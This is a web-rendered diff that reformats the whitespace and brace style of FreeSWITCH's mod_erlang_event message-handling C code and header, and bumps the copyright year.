switch_uuid_get(&uuid);
|
||||
switch_uuid_format(acs->uuid_str, &uuid);
|
||||
switch_thread_create(&thread, thd_attr, api_exec, acs, acs->pool);
|
||||
|
||||
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "ok");
|
||||
_ei_x_encode_string(rbuf, acs->uuid_str);
|
||||
@@ -400,18 +390,17 @@ static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, i
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char ename[MAXATOMLEN+1];
|
||||
char esname[MAXATOMLEN+1];
|
||||
char ename[MAXATOMLEN + 1];
|
||||
char esname[MAXATOMLEN + 1];
|
||||
int headerlength;
|
||||
|
||||
memset(esname, 0, MAXATOMLEN);
|
||||
|
||||
|
||||
if (ei_decode_atom(buf->buff, &buf->index, ename) ||
|
||||
(!strncasecmp(ename, "CUSTOM", MAXATOMLEN) &&
|
||||
ei_decode_atom(buf->buff, &buf->index, esname)) ||
|
||||
ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
|
||||
ei_decode_atom(buf->buff, &buf->index, esname)) || ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
@@ -420,29 +409,27 @@ static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_
|
||||
if (switch_name_event(ename, &etype) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_t *event;
|
||||
if ((strlen(esname) && switch_event_create_subclass(&event, etype, esname) == SWITCH_STATUS_SUCCESS) ||
|
||||
switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
|
||||
char key[1024];
|
||||
char value[1024];
|
||||
int i = 0;
|
||||
switch_bool_t fail = SWITCH_FALSE;
|
||||
|
||||
while(!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
|
||||
while (!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
|
||||
i++;
|
||||
if (ei_decode_string(buf->buff, &buf->index, key) ||
|
||||
ei_decode_string(buf->buff, &buf->index, value)) {
|
||||
if (ei_decode_string(buf->buff, &buf->index, key) || ei_decode_string(buf->buff, &buf->index, value)) {
|
||||
fail = SWITCH_TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
|
||||
}
|
||||
|
||||
|
||||
if (headerlength != i || fail) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
switch_event_fire(&event);
|
||||
ei_x_encode_atom(rbuf, "ok");
|
||||
}
|
||||
@@ -452,43 +439,40 @@ static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
|
||||
int headerlength;
|
||||
|
||||
|
||||
if (ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid) ||
|
||||
ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
switch_core_session_t *session;
|
||||
if (!zstr_buf(uuid) && (session = switch_core_session_locate(uuid))) {
|
||||
switch_event_t *event;
|
||||
switch_event_t *event;
|
||||
if (switch_event_create(&event, SWITCH_EVENT_SEND_MESSAGE) == SWITCH_STATUS_SUCCESS) {
|
||||
|
||||
|
||||
char key[1024];
|
||||
char value[1024];
|
||||
int i = 0;
|
||||
switch_bool_t fail = SWITCH_FALSE;
|
||||
while(!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
|
||||
while (!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
|
||||
i++;
|
||||
if (ei_decode_string(buf->buff, &buf->index, key) ||
|
||||
ei_decode_string(buf->buff, &buf->index, value)) {
|
||||
if (ei_decode_string(buf->buff, &buf->index, key) || ei_decode_string(buf->buff, &buf->index, value)) {
|
||||
fail = SWITCH_TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
|
||||
}
|
||||
|
||||
|
||||
if (headerlength != i || fail) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
if (switch_core_session_queue_private_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
|
||||
ei_x_encode_atom(rbuf, "ok");
|
||||
} else {
|
||||
@@ -496,7 +480,7 @@ static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badmem");
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
/* release the lock returned by session locate */
|
||||
@@ -511,19 +495,17 @@ static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
/* format is (result|config|directory|dialplan|phrases) */
|
||||
char sectionstr[MAXATOMLEN];
|
||||
switch_xml_section_t section;
|
||||
|
||||
if (ei_decode_atom(buf->buff, &buf->index, sectionstr) ||
|
||||
!(section = switch_xml_parse_section_string(sectionstr))) {
|
||||
if (ei_decode_atom(buf->buff, &buf->index, sectionstr) || !(section = switch_xml_parse_section_string(sectionstr))) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
struct erlang_binding *binding, *ptr;
|
||||
|
||||
if (!(binding = switch_core_alloc(listener->pool, sizeof(*binding)))) {
|
||||
@@ -531,8 +513,7 @@ static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badmem");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
binding->section = section;
|
||||
binding->process.type = ERLANG_PID;
|
||||
binding->process.pid = msg->from;
|
||||
@@ -547,7 +528,7 @@ static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei
|
||||
} else {
|
||||
bindings.head = binding;
|
||||
}
|
||||
|
||||
|
||||
switch_xml_set_binding_sections(bindings.search_binding, switch_xml_get_binding_sections(bindings.search_binding) | section);
|
||||
switch_mutex_unlock(globals.listener_mutex);
|
||||
|
||||
@@ -564,13 +545,13 @@ static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei
|
||||
or
|
||||
{handlecall,<uuid>} to send messages back to the sender
|
||||
*/
|
||||
static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char reg_name[MAXATOMLEN];
|
||||
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
|
||||
|
||||
if (arity < 2 || arity > 3 ||
|
||||
(arity==3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
|
||||
(arity == 3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
|
||||
ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid_str)) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
@@ -580,8 +561,8 @@ static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *m
|
||||
if (!zstr_buf(uuid_str)) {
|
||||
if ((session = switch_core_session_locate(uuid_str))) {
|
||||
/* create a new session list element and attach it to this listener */
|
||||
if ((arity==2 && attach_call_to_pid(listener, &msg->from, session)) ||
|
||||
(arity==3 && attach_call_to_registered_process(listener, reg_name, session))) {
|
||||
if ((arity == 2 && attach_call_to_pid(listener, &msg->from, session)) ||
|
||||
(arity == 3 && attach_call_to_registered_process(listener, reg_name, session))) {
|
||||
ei_x_encode_atom(rbuf, "ok");
|
||||
} else {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
@@ -607,17 +588,17 @@ static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *m
|
||||
/* catch the response to ei_rpc_to (which comes back as {rex, {Ref, Pid}}
|
||||
The {Ref,Pid} bit can be handled by handle_ref_tuple
|
||||
*/
|
||||
static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
int type, size, arity2, tmpindex;
|
||||
|
||||
ei_get_type(buf->buff, &buf->index, &type, &size);
|
||||
switch(type) {
|
||||
case ERL_SMALL_TUPLE_EXT :
|
||||
case ERL_LARGE_TUPLE_EXT :
|
||||
switch (type) {
|
||||
case ERL_SMALL_TUPLE_EXT:
|
||||
case ERL_LARGE_TUPLE_EXT:
|
||||
tmpindex = buf->index;
|
||||
ei_decode_tuple_header(buf->buff, &tmpindex, &arity2);
|
||||
return handle_ref_tuple(listener,msg,buf,rbuf);
|
||||
return handle_ref_tuple(listener, msg, buf, rbuf);
|
||||
default:
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Unknown rpc response\n");
|
||||
break;
|
||||
@@ -626,7 +607,7 @@ static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg *
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char tupletag[MAXATOMLEN];
|
||||
int arity;
|
||||
@@ -637,30 +618,29 @@ static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, e
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
if (!strncmp(tupletag, "fetch_reply", MAXATOMLEN)) {
|
||||
ret = handle_msg_fetch_reply(listener,buf,rbuf);
|
||||
ret = handle_msg_fetch_reply(listener, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "set_log_level", MAXATOMLEN)) {
|
||||
ret = handle_msg_set_log_level(listener,arity,buf,rbuf);
|
||||
ret = handle_msg_set_log_level(listener, arity, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "event", MAXATOMLEN)) {
|
||||
ret = handle_msg_event(listener,arity,buf,rbuf);
|
||||
ret = handle_msg_event(listener, arity, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "nixevent", MAXATOMLEN)) {
|
||||
ret = handle_msg_nixevent(listener,arity,buf,rbuf);
|
||||
ret = handle_msg_nixevent(listener, arity, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "api", MAXATOMLEN)) {
|
||||
ret = handle_msg_api(listener,msg,arity,buf,rbuf);
|
||||
ret = handle_msg_api(listener, msg, arity, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "bgapi", MAXATOMLEN)) {
|
||||
ret = handle_msg_bgapi(listener,msg,arity,buf,rbuf);
|
||||
ret = handle_msg_bgapi(listener, msg, arity, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "sendevent", MAXATOMLEN)) {
|
||||
ret = handle_msg_sendevent(listener,arity,buf,rbuf);
|
||||
ret = handle_msg_sendevent(listener, arity, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "sendmsg", MAXATOMLEN)) {
|
||||
ret = handle_msg_sendmsg(listener,arity,buf,rbuf);
|
||||
ret = handle_msg_sendmsg(listener, arity, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "bind", MAXATOMLEN)) {
|
||||
ret = handle_msg_bind(listener,msg,buf,rbuf);
|
||||
ret = handle_msg_bind(listener, msg, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "handlecall", MAXATOMLEN)) {
|
||||
ret = handle_msg_handlecall(listener,msg,arity,buf,rbuf);
|
||||
ret = handle_msg_handlecall(listener, msg, arity, buf, rbuf);
|
||||
} else if (!strncmp(tupletag, "rex", MAXATOMLEN)) {
|
||||
ret = handle_msg_rpcresponse(listener,msg,arity,buf,rbuf);
|
||||
ret = handle_msg_rpcresponse(listener, msg, arity, buf, rbuf);
|
||||
} else {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
@@ -670,7 +650,7 @@ static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, e
|
||||
return ret;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char atom[MAXATOMLEN];
|
||||
switch_status_t ret = SWITCH_STATUS_SUCCESS;
|
||||
@@ -679,8 +659,7 @@ static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, e
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
|
||||
} else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
|
||||
if (switch_test_flag(listener, LFLAG_LOG)) {
|
||||
void *pop;
|
||||
/*purge the log queue */
|
||||
@@ -707,7 +686,7 @@ static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, e
|
||||
void *pop;
|
||||
/*purge the event queue */
|
||||
while (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS);
|
||||
|
||||
|
||||
if (switch_test_flag(listener, LFLAG_EVENTS)) {
|
||||
uint8_t x = 0;
|
||||
switch_clear_flag_locked(listener, LFLAG_EVENTS);
|
||||
@@ -739,12 +718,12 @@ static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, e
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "undef");
|
||||
}
|
||||
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
erlang_ref ref;
|
||||
erlang_pid *pid;
|
||||
@@ -765,17 +744,17 @@ static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, e
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badmem");
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
if (ei_decode_pid(buf->buff, &buf->index, pid)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid pid in a reference/pid tuple\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
ei_hash_ref(&ref, hash);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Hashed ref to %s\n", hash);
|
||||
|
||||
|
||||
if ((p = switch_core_hash_find(listener->spawn_pid_hash, hash))) {
|
||||
if (p == &globals.TIMEOUT) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Handler for %s timed out\n", hash);
|
||||
@@ -788,7 +767,7 @@ static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, e
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found waiting slot for %s\n", hash);
|
||||
switch_core_hash_delete(listener->spawn_pid_hash, hash);
|
||||
switch_core_hash_insert(listener->spawn_pid_hash, hash, pid);
|
||||
return SWITCH_STATUS_FALSE; /*no reply */
|
||||
return SWITCH_STATUS_FALSE; /*no reply */
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found filled slot for %s\n", hash);
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
@@ -803,7 +782,7 @@ static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, e
|
||||
ei_x_encode_atom(rbuf, "invalid_ref");
|
||||
}
|
||||
|
||||
switch_safe_free(pid); /* don't need it */
|
||||
switch_safe_free(pid); /* don't need it */
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -811,7 +790,7 @@ static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, e
|
||||
|
||||
/* fake enough of the net_kernel module to be able to respond to net_adm:ping */
|
||||
/* {'$gen_call', {<cpx@freecpx.128.0>, #Ref<254770.4.0>}, {is_auth, cpx@freecpx} */
|
||||
static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
int version, size, type, arity;
|
||||
char atom[MAXATOMLEN];
|
||||
@@ -881,7 +860,7 @@ static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *m
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_ref(rbuf, &ref);
|
||||
ei_x_encode_atom(rbuf, "yes");
|
||||
|
||||
|
||||
switch_mutex_lock(listener->sock_mutex);
|
||||
ei_send(listener->sockfd, &pid, rbuf->buff, rbuf->index);
|
||||
switch_mutex_unlock(listener->sock_mutex);
|
||||
@@ -893,7 +872,7 @@ static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *m
|
||||
}
|
||||
|
||||
|
||||
int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
int type, type2, size, version, arity, tmpindex;
|
||||
switch_status_t ret = SWITCH_STATUS_SUCCESS;
|
||||
@@ -905,37 +884,37 @@ int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff
|
||||
buf->index = 0;
|
||||
ei_decode_version(buf->buff, &buf->index, &version);
|
||||
ei_get_type(buf->buff, &buf->index, &type, &size);
|
||||
switch(type) {
|
||||
case ERL_SMALL_TUPLE_EXT :
|
||||
case ERL_LARGE_TUPLE_EXT :
|
||||
switch (type) {
|
||||
case ERL_SMALL_TUPLE_EXT:
|
||||
case ERL_LARGE_TUPLE_EXT:
|
||||
tmpindex = buf->index;
|
||||
ei_decode_tuple_header(buf->buff, &tmpindex, &arity);
|
||||
ei_get_type(buf->buff, &tmpindex, &type2, &size);
|
||||
|
||||
switch(type2) {
|
||||
case ERL_ATOM_EXT:
|
||||
ret = handle_msg_tuple(listener,msg,buf,rbuf);
|
||||
break;
|
||||
case ERL_REFERENCE_EXT :
|
||||
case ERL_NEW_REFERENCE_EXT :
|
||||
ret = handle_ref_tuple(listener, msg, buf, rbuf);
|
||||
break;
|
||||
default :
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
|
||||
/* some other kind of erlang term */
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "undef");
|
||||
break;
|
||||
switch (type2) {
|
||||
case ERL_ATOM_EXT:
|
||||
ret = handle_msg_tuple(listener, msg, buf, rbuf);
|
||||
break;
|
||||
case ERL_REFERENCE_EXT:
|
||||
case ERL_NEW_REFERENCE_EXT:
|
||||
ret = handle_ref_tuple(listener, msg, buf, rbuf);
|
||||
break;
|
||||
default:
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
|
||||
/* some other kind of erlang term */
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "undef");
|
||||
break;
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
case ERL_ATOM_EXT :
|
||||
ret = handle_msg_atom(listener,msg,buf,rbuf);
|
||||
|
||||
break;
|
||||
|
||||
default :
|
||||
case ERL_ATOM_EXT:
|
||||
ret = handle_msg_atom(listener, msg, buf, rbuf);
|
||||
break;
|
||||
|
||||
default:
|
||||
/* some other kind of erlang term */
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
@@ -944,7 +923,7 @@ int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff
|
||||
}
|
||||
}
|
||||
|
||||
if (SWITCH_STATUS_FALSE==ret) {
|
||||
if (SWITCH_STATUS_FALSE == ret) {
|
||||
return 0;
|
||||
} else if (rbuf->index > 1) {
|
||||
switch_mutex_lock(listener->sock_mutex);
|
||||
@@ -954,9 +933,9 @@ int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff
|
||||
ei_x_print_msg(rbuf, &msg->from, 1);
|
||||
#endif
|
||||
|
||||
if (SWITCH_STATUS_SUCCESS==ret)
|
||||
if (SWITCH_STATUS_SUCCESS == ret)
|
||||
return 0;
|
||||
else /* SWITCH_STATUS_TERM */
|
||||
else /* SWITCH_STATUS_TERM */
|
||||
return 1;
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Empty reply, supressing\n");
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -33,8 +33,8 @@
|
||||
*/
|
||||
|
||||
typedef enum {
|
||||
LFLAG_WAITING_FOR_PID = (1 << 0), /* waiting for a node to return a pid */
|
||||
LFLAG_OUTBOUND_INIT = (1 << 1), /* Erlang peer has been notified of this session */
|
||||
LFLAG_WAITING_FOR_PID = (1 << 0), /* waiting for a node to return a pid */
|
||||
LFLAG_OUTBOUND_INIT = (1 << 1), /* Erlang peer has been notified of this session */
|
||||
LFLAG_SESSION_ALIVE = (1 << 2),
|
||||
LFLAG_SESSION_COMPLETE = (1 << 3),
|
||||
} session_flag_t;
|
||||
@@ -114,7 +114,7 @@ struct listener {
|
||||
uint32_t timeout;
|
||||
uint32_t id;
|
||||
char remote_ip[50];
|
||||
/*switch_port_t remote_port;*/
|
||||
/*switch_port_t remote_port; */
|
||||
struct listener *next;
|
||||
};
|
||||
|
||||
@@ -143,8 +143,8 @@ struct globals_struct {
|
||||
unsigned int reference0;
|
||||
unsigned int reference1;
|
||||
unsigned int reference2;
|
||||
char TIMEOUT; /* marker for a timed out request */
|
||||
char WAITING; /* marker for a request waiting for a response */
|
||||
char TIMEOUT; /* marker for a timed out request */
|
||||
char WAITING; /* marker for a request waiting for a response */
|
||||
switch_mutex_t *ref_mutex;
|
||||
};
|
||||
typedef struct globals_struct globals_t;
|
||||
@@ -200,20 +200,20 @@ extern prefs_t prefs;
|
||||
|
||||
/* function prototypes */
|
||||
/* handle_msg.c */
|
||||
int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
|
||||
int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
|
||||
|
||||
/* ei_helpers.c */
|
||||
void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to);
|
||||
void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event);
|
||||
void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag);
|
||||
int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function);
|
||||
int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv);
|
||||
void ei_init_ref(struct ei_cnode_s *ec, erlang_ref *ref);
|
||||
void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send);
|
||||
void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send);
|
||||
int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf);
|
||||
void ei_hash_ref(erlang_ref *ref, char *output);
|
||||
int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2);
|
||||
void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to);
|
||||
void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event);
|
||||
void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag);
|
||||
int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function);
|
||||
int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv);
|
||||
void ei_init_ref(struct ei_cnode_s *ec, erlang_ref * ref);
|
||||
void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send);
|
||||
void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send);
|
||||
int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf);
|
||||
void ei_hash_ref(erlang_ref * ref, char *output);
|
||||
int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2);
|
||||
int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst);
|
||||
switch_status_t initialise_ei(struct ei_cnode_s *ec);
|
||||
#define ei_encode_switch_event(_b, _e) ei_encode_switch_event_tag(_b, _e, "event")
|
||||
@@ -228,14 +228,14 @@ switch_status_t initialise_ei(struct ei_cnode_s *ec);
|
||||
break; \
|
||||
}
|
||||
|
||||
#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
|
||||
#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
|
||||
/*#define errno WSAGetLastError()*/
|
||||
#endif
|
||||
|
||||
/* mod_erlang_event.c */
|
||||
session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session);
|
||||
session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session);
|
||||
session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session);
|
||||
session_elem_t *attach_call_to_registered_process(listener_t *listener, char *reg_name, switch_core_session_t *session);
|
||||
session_elem_t *attach_call_to_pid(listener_t *listener, erlang_pid * pid, switch_core_session_t *session);
|
||||
session_elem_t *attach_call_to_spawned_process(listener_t *listener, char *module, char *function, switch_core_session_t *session);
|
||||
|
||||
/* For Emacs:
|
||||
* Local Variables:
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -37,7 +37,7 @@
|
||||
#define MULTICAST_BUFFSIZE 65536
|
||||
|
||||
/* magic byte sequence */
|
||||
